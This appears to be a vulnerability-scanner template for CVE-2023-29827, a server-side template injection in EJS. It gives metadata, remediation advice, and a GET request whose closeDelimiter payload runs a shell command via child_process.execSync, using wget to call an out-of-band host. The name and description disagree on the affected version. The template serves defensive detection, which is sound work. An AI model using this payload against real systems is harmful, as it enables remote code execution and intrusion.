id: CVE-2023-29827

info:
  name: Embedded JavaScript(EJS) 3.1.6 - Template Injection
  author: ritikchaddha
  severity: critical
  description: |
    ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.
  impact: |
    High impact as it enables remote code execution.
  remediation: |
    Update EJS to the latest version to mitigate the vulnerability.
  reference:
    - https://github.com/mde/ejs/issues/720
    - https://github.com/mde/ejs/blob/main/SECURITY.md#out-of-scope-vulnerabilities
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29827
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-29827
    cwe-id: CWE-74
    epss-score: 0.09885
    epss-percentile: 0.94826
    cpe: cpe:2.3:a:ejs:ejs:3.1.9:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: ejs
    product: ejs
    framework: node.js
  tags: cve,cve2023,ssti,rce,ejs,oast,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27)%3b//"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "You are viewing page number"
# digest: 4b0a00483046022100a5fa4bed4f40632beeeceab19a78db7ba603d0648d3ccc0312c8cecb97dae74b022100f62bfb42ab74a58a50f88ae968d125059851075c69b5c4fc99d2b06b64c87159:922c64590222798bb761d5b6d8e72950